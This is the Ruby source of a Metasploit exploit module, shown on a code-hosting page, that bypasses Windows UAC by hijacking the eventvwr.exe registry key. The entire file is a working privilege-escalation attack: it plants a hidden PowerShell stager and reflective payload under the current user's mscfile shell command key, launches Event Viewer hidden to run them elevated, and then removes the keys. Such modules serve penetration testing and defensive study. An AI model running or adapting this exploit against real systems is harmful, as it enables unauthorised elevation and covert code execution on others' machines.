Path: blob/master/modules/exploits/windows/local/bypassuac_eventvwr.rb
19670 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Exploit::Powershell9include Post::Windows::Priv10include Post::Windows::Registry11include Post::Windows::Runas1213EVENTVWR_DEL_KEY = 'HKCU\\Software\\Classes\\mscfile'.freeze14EVENTVWR_WRITE_KEY = 'HKCU\\Software\\Classes\\mscfile\\shell\\open\\command'.freeze15EXEC_REG_VAL = ''.freeze # This maps to "(Default)"16EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze17EVENTVWR_PATH = '%WINDIR%\\System32\\eventvwr.exe'.freeze18EVENTVWR_WOW64_PATH = '%WINDIR%\\SysWOW64\\eventvwr.exe'.freeze19PSH_PATH = '%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe'.freeze20CMD_MAX_LEN = 20812122def initialize(info = {})23super(24update_info(25info,26'Name' => 'Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)',27'Description' => %q{28This module will bypass Windows UAC by hijacking a special key in the Registry under29the current user hive, and inserting a custom command that will get invoked when30the Windows Event Viewer is launched. It will spawn a second shell that has the UAC31flag turned off.3233This module modifies a registry key, but cleans up the key once the payload has34been invoked.3536The module does not require the architecture of the payload to match the OS. If37specifying EXE::Custom your DLL should call ExitProcess() after starting your38payload in a separate process.39},40'License' => MSF_LICENSE,41'Author' => [42'Matt Nelson', # UAC bypass discovery and research43'Matt Graeber', # UAC bypass discovery and research44'OJ Reeves' # MSF module45],46'Platform' => ['win'],47'SessionTypes' => ['meterpreter'],48'Targets' => [49[ 'Windows x86', { 'Arch' => ARCH_X86 } ],50[ 'Windows x64', { 'Arch' => ARCH_X64 } ]51],52'DefaultTarget' => 0,53'References' => [54['URL', 'https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/'],55['URL', 'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1']56],57'DisclosureDate' => '2016-08-15',58'Compat' => {59'Meterpreter' => {60'Commands' => %w[61stdapi_railgun_api62]63}64},65'Notes' => {66'Reliability' => UNKNOWN_RELIABILITY,67'Stability' => UNKNOWN_STABILITY,68'SideEffects' => UNKNOWN_SIDE_EFFECTS69}70)71)72end7374def check75version = get_version_info76if version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win10_1607)77Exploit::CheckCode::Appears78else79Exploit::CheckCode::Safe80end81end8283def exploit84eventvwr_cmd = EVENTVWR_PATH85registry_view = REGISTRY_VIEW_NATIVE8687# Make sure we have a sane payload configuration8889if session.arch != target.arch.first90fail_with(Failure::NoTarget, 'Session and Target arch must match')91end92if sysinfo['Architecture'] == ARCH_X6493vprint_status('Target is x64')94if session.arch == ARCH_X8695vprint_status('Detected Target/Session mismatch. Syswow Required.')96registry_view = REGISTRY_VIEW_64_BIT97eventvwr_cmd = EVENTVWR_WOW64_PATH98end99elsif target_arch.first == ARCH_X64100# if we're on x86, we can't handle x64 payloads101fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')102end103104# Validate that we can actually do things before we bother105# doing any more work106check_permissions!107108case get_uac_level109when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,110UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,111UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT112fail_with(Failure::NotVulnerable,113"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")114when UAC_DEFAULT115print_good('UAC is set to Default')116print_good('BypassUAC can bypass this setting, continuing...')117when UAC_NO_PROMPT118print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')119shell_execute_exe120return121end122123payload_value = rand_text_alpha(8)124psh_path = expand_path(PSH_PATH.to_s)125template_path = Rex::Powershell::Templates::TEMPLATE_DIR126vprint_status("template_path #{template_path}")127psh_payload = Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload.encoded)128129psh_stager = "\"IEX (Get-ItemProperty -Path #{EVENTVWR_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""130cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"131132existing = registry_getvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, registry_view) || ''133134if existing.empty?135registry_createkey(EVENTVWR_WRITE_KEY, registry_view)136end137138print_status('Configuring payload and stager registry keys ...')139registry_setvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)140registry_setvaldata(EVENTVWR_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)141142cmd_path = expand_path(eventvwr_cmd.to_s)143print_status("Executing payload: #{cmd_path}")144result = client.railgun.shell32.ShellExecuteA(nil, 'open', cmd_path, nil, nil, 'SW_HIDE')145146if result['return'] > 32147print_good('eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.')148Rex.sleep(10)149else150print_error("eventvwr.exe execution failed with Error Code: #{result['GetLastError']} - #{result['ErrorMessage']}")151end152153handler(client)154155print_status('Cleaning up registry keys ...')156if existing.empty?157registry_deletekey(EVENTVWR_DEL_KEY, registry_view)158else159registry_setvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)160registry_deleteval(EVENTVWR_WRITE_KEY, payload_value, registry_view)161end162end163164def check_permissions!165fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?166167# Check if you are an admin168vprint_status('Checking admin status...')169admin_group = is_in_admin_group?170171unless check == Exploit::CheckCode::Appears172fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')173end174175unless is_in_admin_group?176fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')177end178179print_status('UAC is Enabled, checking level...')180if admin_group.nil?181print_error('Either whoami is not there or failed to execute')182print_error('Continuing under assumption you already checked...')183elsif admin_group184print_good('Part of Administrators group! Continuing...')185else186fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')187end188189if get_integrity_level == INTEGRITY_LEVEL_SID[:low]190fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')191end192end193end194195196